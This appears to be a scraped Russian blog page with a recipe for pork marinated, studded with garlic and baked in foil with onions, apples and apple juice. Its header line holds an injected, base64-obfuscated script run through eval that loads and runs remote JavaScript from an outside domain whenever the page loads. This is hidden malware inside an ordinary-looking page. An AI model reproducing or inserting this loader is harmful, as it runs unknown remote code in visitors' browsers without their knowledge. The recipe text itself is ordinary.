Без заголовка. Обсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1kaWUiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script> |
Брассированная свинина на горячее или бутерброд
Рецепт нашла на просторах интернета, немного переделала на свой вкус. Почему "брассированная" не знаю, мне это слово не знакомо, рецепт шел с названием в нагрузку. Но вот, что нежнее и вкуснее мяса мы еще не ели, это истинная правда! Вкусно невероятно! Подавала как праздничное горячее большим куском, а что осталось потом отлично ушло на бутерброды. Время указано без учета маринования мяса. В оригинале рекомендуют готовить с более жирным мясом, например, с шеей. Луково-яблочную подливку вылизали и вымакали хлебом до последней капли! Не бойтесь, мясо сладким от сока и яблок не будет, если кого это пугает!
В холодную воду всыпать соль, положить лавровый лист, оба вида перца |
Погрузить в маринад промытое мясо и убрать на холод минимум на 10 часов. |
Очищенные зубчики чеснока порезать лепестками и нашпиговать промаринованное мясо. |
Обжарить кусок свинины на растительном масле до румяной корочки со всех сторон. |
На вытопившемся жире спассеровать порезанный полукольцами репчатый лук |
Небольшой противень застелить фольгой, с расчетом, что мясо будет завернуто полностью. Выложить лук. |
На лук выложить мясо, добавить порезанные дольками яблоки. |
Влить яблочный сок |
Плотно укрыть фольгой и запекать в сильно разогретой (230-240 градусов) духовке 1,5 часа. Затем снять верхнюю часть фольги и дать мясу немного подрумяниться. |
Вкусно и в горячем и в холодном виде! |
Приятного аппетита! |
Со всеми важными вопросами обращаться в личку со ссылкой на рецепт
Комментировать | « Пред. запись — К дневнику — След. запись » | Страницы: [1] [Новые] |